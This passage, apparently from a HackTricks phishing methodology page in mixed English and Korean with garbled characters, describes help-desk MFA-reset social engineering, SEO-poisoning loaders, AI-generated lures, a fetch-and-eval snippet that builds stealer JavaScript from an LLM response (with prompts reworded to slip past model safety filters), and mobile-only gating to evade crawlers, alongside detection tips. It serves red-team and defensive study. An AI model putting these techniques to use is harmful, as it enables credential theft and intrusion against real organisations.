However, there are other ways to know if the victim is actively looking for suspicions phishing activity in the wild as explained in:

Detecting Phishing

You can buy a domain with a very similar name to the victims domain and/or generate a certificate for a subdomain of a domain controlled by you containing the keyword of the victimโ€™s domain. If the victim perform any kind of DNS or HTTP interaction with them, you will know that he is actively looking for suspicious domains and you will need to be very stealth.

Evaluate the phishing

Use Phishious to evaluate if your email is going to end in the spam folder or if itโ€™s going to be blocked or successful.

High-Touch Identity Compromise (Help-Desk MFA Reset)

Modern intrusion sets increasingly skip email lures entirely and directly target the service-desk / identity-recovery workflow to defeat MFA. The attack is fully โ€œliving-off-the-landโ€: once the operator owns valid credentials they pivot with built-in admin tooling โ€“ no malware is required.

Attack flow

  1. Recon the victim
  • Harvest personal & corporate details from LinkedIn, data breaches, public GitHub, etc.
  • Identify high-value identities (executives, IT, finance) and enumerate the exact help-desk process for password / MFA reset.
  1. Real-time social engineering
  • Phone, Teams or chat the help-desk while impersonating the target (often with spoofed caller-ID or cloned voice).
  • Provide the previously-collected PII to pass knowledge-based verification.
  • Convince the agent to reset the MFA secret or perform a SIM-swap on a registered mobile number.
  1. Immediate post-access actions (โ‰ค60 min in real cases)
  • Establish a foothold through any web SSO portal.
  • Enumerate AD / AzureAD with built-ins (no binaries dropped):
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}

# AzureAD / Graph โ€“ list directory roles
Get-MgDirectoryRole | ft DisplayName,Id

# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
  • Lateral movement with WMI, PsExec, or legitimate RMM agents already whitelisted in the environment.

Detection & Mitigation

  • Treat help-desk identity recovery as a privileged operation โ€“ require step-up auth & manager approval.
  • Deploy Identity Threat Detection & Response (ITDR) / UEBA rules that alert on:
  • MFA method changed + authentication from new device / geo.
  • Immediate elevation of the same principal (user-โ†’-admin).
  • Record help-desk calls and enforce a call-back to an already-registered number before any reset.
  • Implement Just-In-Time (JIT) / Privileged Access so newly reset accounts do not automatically inherit high-privilege tokens.

At-Scale Deception โ€“ SEO Poisoning & โ€œClickFixโ€ Campaigns

Commodity crews offset the cost of high-touch ops with mass attacks that turn search engines & ad networks into the delivery channel.

  1. SEO poisoning / malvertising pushes a fake result such as chromium-update[.]site to the top search ads.
  2. Victim downloads a small first-stage loader (often JS/HTA/ISO). Examples seen by Unit 42:
  • RedLine stealer
  • Lumma stealer
  • Lampion Trojan
  1. Loader exfiltrates browser cookies + credential DBs, then pulls a silent loader which decides โ€“ in realtime โ€“ whether to deploy:
  • RAT (e.g. AsyncRAT, RustDesk)
  • ransomware / wiper
  • persistence component (registry Run key + scheduled task)

Hardening tips

  • Block newly-registered domains & enforce Advanced DNS / URL Filtering on search-ads as well as e-mail.
  • Restrict software installation to signed MSI / Store packages, deny HTA, ISO, VBS execution by policy.
  • Monitor for child processes of browsers opening installers:
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
  • Hunt for LOLBins frequently abused by first-stage loaders (e.g. regsvr32, curl, mshta).

AI-Enhanced Phishing Operations

Attackers now chain LLM & voice-clone APIs for fully personalised lures and real-time interaction.

LayerExample use by threat actor
AutomationGenerate & send >100 k emails / SMS with randomised wording & tracking links.
Generative AIProduce one-off emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.
Agentic AIAutonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnโ€™t submit creds.

Defence: โ€ข Add dynamic banners highlighting messages sent from untrusted automation (via ARC/DKIM anomalies). โ€ข Deploy voice-biometric challenge phrases for high-risk phone requests. โ€ข Continuously simulate AI-generated lures in awareness programmes โ€“ static templates are obsolete.

See also โ€“ agentic browsing abuse for credential phishing:

Ai Agent Mode Phishing Abusing Hosted Agent Browsers

See also โ€“ AI agent abuse of local CLI tools and MCP (for secrets inventory and detection):

Ai Agent Abuse Local Ai Cli Tools And Mcp

LLM-assisted runtime assembly of phishing JavaScript (in-browser codegen)

Attackers can ship benign-looking HTML and generate the stealer at runtime by asking a trusted LLM API for JavaScript, then executing it in-browser (e.g., eval or dynamic <script>).

  1. Prompt-as-obfuscation: encode exfil URLs/Base64 strings in the prompt; iterate wording to bypass safety filters and reduce hallucinations.
  2. Client-side API call: on load, JS calls a public LLM (Gemini/DeepSeek/etc.) or a CDN proxy; only the prompt/API call is present in static HTML.
  3. Assemble & exec: concatenate the response and execute it (polymorphic per visit):
fetch("https://llm.example/v1/chat",{method:"POST",body:JSON.stringify({messages:[{role:"user",content:promptText}]}),headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}})
.then(r=>r.json())
.then(j=>{const payload=j.choices?.[0]?.message?.content; eval(payload);});
  1. Phish/exfil: ์ƒ์„ฑ๋œ ์ฝ”๋“œ๊ฐ€ ๋ฏธ๋ผ๋ฅผ ๊ฐœ์ธํ™”(์˜ˆ: LogoKit token parsing)ํ•˜๊ณ  prompt-hidden endpoint๋กœ creds๋ฅผ postsํ•ฉ๋‹ˆ๋‹ค.

Evasion traits

  • ํŠธ๋ž˜ํ”ฝ์ด ์ž˜ ์•Œ๋ ค์ง„ LLM ๋„๋ฉ”์ธ์ด๋‚˜ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” CDN ํ”„๋ก์‹œ๋กœ ํ–ฅํ•จ; ๋•Œ๋กœ๋Š” WebSockets๋ฅผ ํ†ตํ•ด ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.
  • ์ •์  ํŽ˜์ด๋กœ๋“œ ์—†์Œ; ์•…์„ฑ JS๋Š” ๋ Œ๋” ์ดํ›„์—๋งŒ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
  • ๋น„๊ฒฐ์ •์  ์ƒ์„ฑ์€ ์„ธ์…˜๋ณ„๋กœ unique stealers๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Detection ideas

  • JS๊ฐ€ ํ™œ์„ฑํ™”๋œ sandboxes๋ฅผ ์‹คํ–‰; runtime eval/dynamic script creation sourced from LLM responses๋ฅผ ํ”Œ๋ž˜๊ทธํ•˜์„ธ์š”.
  • front-end์˜ LLM APIs๋กœ์˜ POSTs๊ฐ€ ๋ฐ˜ํ™˜๋œ ํ…์ŠคํŠธ์— ๋Œ€ํ•œ eval/Function์œผ๋กœ ์ฆ‰์‹œ ์ด์–ด์ง€๋Š”์ง€ ํƒ์ƒ‰ํ•˜์„ธ์š”.
  • ํด๋ผ์ด์–ธํŠธ ํŠธ๋ž˜ํ”ฝ์—์„œ ์Šน์ธ๋˜์ง€ ์•Š์€ LLM ๋„๋ฉ”์ธ์ด ํ™•์ธ๋˜๊ณ  ์ดํ›„ credential POSTs๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๊ฒฝ๊ณ ํ•˜์„ธ์š”.

MFA Fatigue / Push Bombing Variant โ€“ Forced Reset

๊ณ ์ „์ ์ธ push-bombing ์™ธ์—, ์šด์˜์ž๋“ค์€ help-desk call ์ค‘์— ๋‹จ์ˆœํžˆ force a new MFA registration๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ๊ธฐ์กด ํ† ํฐ์„ ๋ฌดํšจํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„์˜ ๋ชจ๋“  ๋กœ๊ทธ์ธ ํ”„๋กฌํ”„ํŠธ๋Š” ํ”ผํ•ด์ž์—๊ฒŒ ํ•ฉ๋ฒ•์ ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

[Attacker]  โ†’  Help-Desk:  โ€œI lost my phone while travelling, can you unenrol it so I can add a new authenticator?โ€
[Help-Desk] โ†’  AzureAD: โ€˜Delete existing methodsโ€™ โ†’ sends registration e-mail
[Attacker]  โ†’  Completes new TOTP enrolment on their own device

๋™์ผํ•œ IP์—์„œ ๋ช‡ ๋ถ„ ์ด๋‚ด์— **deleteMFA + addMFA**๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” AzureAD/AWS/Okta ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.

Clipboard Hijacking / Pastejacking

๊ณต๊ฒฉ์ž๋Š” ์†์ƒ๋˜์—ˆ๊ฑฐ๋‚˜ typosquatted๋œ ์›น ํŽ˜์ด์ง€์—์„œ ํ”ผํ•ด์ž์˜ clipboard์— ์•…์„ฑ ๋ช…๋ น์„ ์€๋ฐ€ํžˆ ๋ณต์‚ฌํ•œ ๋’ค, ์‚ฌ์šฉ์ž๊ฐ€ Win + R, Win + X ๋˜๋Š” terminal window์— ๋ถ™์—ฌ๋„ฃ๋„๋ก ์†์—ฌ ๋‹ค์šด๋กœ๋“œ๋‚˜ ์ฒจ๋ถ€ํŒŒ์ผ ์—†์ด ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Clipboard Hijacking

Mobile Phishing & Malicious App Distribution (Android & iOS)

Mobile Phishing Malicious Apps

Mobileโ€‘gated phishing to evade crawlers/sandboxes

์šด์˜์ž๋“ค์€ ๋ฐ์Šคํฌํ†ฑ crawlers๊ฐ€ ์ตœ์ข… ํŽ˜์ด์ง€์— ๋„๋‹ฌํ•˜์ง€ ๋ชปํ•˜๋„๋ก ๊ฐ„๋‹จํ•œ ๊ธฐ๊ธฐ ๊ฒ€์‚ฌ๋ฅผ ํ†ตํ•ด phishing flows๋ฅผ ์ œํ•œํ•˜๋Š” ๋ฐฉ์‹์„ ์ ์  ๋” ์ž์ฃผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ํŒจํ„ด์€ ํ„ฐ์น˜ ๊ฐ€๋Šฅํ•œ DOM์„ ๊ฒ€์‚ฌํ•˜๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์„œ๋ฒ„ ์—”๋“œํฌ์ธํŠธ๋กœ ์ „์†กํ•˜๋Š” ์ž‘์€ ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค; ๋น„๋ชจ๋ฐ”์ผ ํด๋ผ์ด์–ธํŠธ๋Š” HTTP 500(๋˜๋Š” ๋นˆ ํŽ˜์ด์ง€)๋ฅผ ๋ฐ›๋Š” ๋ฐ˜๋ฉด, ๋ชจ๋ฐ”์ผ ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” ์ „์ฒด flow๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

Minimal client snippet (typical logic):

<script src="/static/detect_device.js"></script>

detect_device.js ๋กœ์ง (๋‹จ์ˆœํ™”):

const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());

์„œ๋ฒ„์—์„œ ์ž์ฃผ ๊ด€์ฐฐ๋˜๋Š” ๋™์ž‘:

  • ์ฒซ ๋กœ๋“œ ์‹œ session cookie๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • POST /detect {"is_mobile":true|false} ์š”์ฒญ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ํ›„์† GET ์š”์ฒญ์— ๋Œ€ํ•ด is_mobile=false์ผ ๋•Œ 500 (๋˜๋Š” ํ”Œ๋ ˆ์ด์Šคํ™€๋”)์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค; phishing์€ true์ผ ๋•Œ๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

ํ—ŒํŒ… ๋ฐ ํƒ์ง€ ํœด๋ฆฌ์Šคํ‹ฑ:

  • urlscan ์ฟผ๋ฆฌ: filename:"detect_device.js" AND page.status:500
  • Web telemetry: GET /static/detect_device.js โ†’ POST /detect โ†’ nonโ€‘mobile์˜ ๊ฒฝ์šฐ HTTP 500; ํ•ฉ๋ฒ•์ ์ธ ๋ชจ๋ฐ”์ผ ํ”ผํ•ด์ž ๊ฒฝ๋กœ๋Š” 200์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  ํ›„์† HTML/JS๋ฅผ ์ œ๊ณตํ•จ.
  • ์ฝ˜ํ…์ธ ๋ฅผ ์ „์ ์œผ๋กœ ontouchstart ๋˜๋Š” ์œ ์‚ฌํ•œ ๋””๋ฐ”์ด์Šค ๊ฒ€์‚ฌ์—๋งŒ ์˜์กดํ•˜์—ฌ ์กฐ๊ฑด๋ถ€๋กœ ์ œ๊ณตํ•˜๋Š” ํŽ˜์ด์ง€๋Š” ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† ํ•˜์„ธ์š”.

๋ฐฉ์–ด ํŒ:

  • ๋ชจ๋ฐ”์ผ ์œ ์‚ฌ fingerprints์™€ JS๋ฅผ ํ™œ์„ฑํ™”ํ•œ ํฌ๋กค๋Ÿฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๊ฒŒ์ดํŠธ๋œ ์ฝ˜ํ…์ธ ๋ฅผ ๋“œ๋Ÿฌ๋‚ด์„ธ์š”.
  • ์‹ ๊ทœ ๋“ฑ๋ก ๋„๋ฉ”์ธ์—์„œ POST /detect ์ดํ›„ ๋ฐœ์ƒํ•˜๋Š” ์˜์‹ฌ์Šค๋Ÿฌ์šด 500 ์‘๋‹ต์— ๋Œ€ํ•ด ๊ฒฝ๋ณด๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ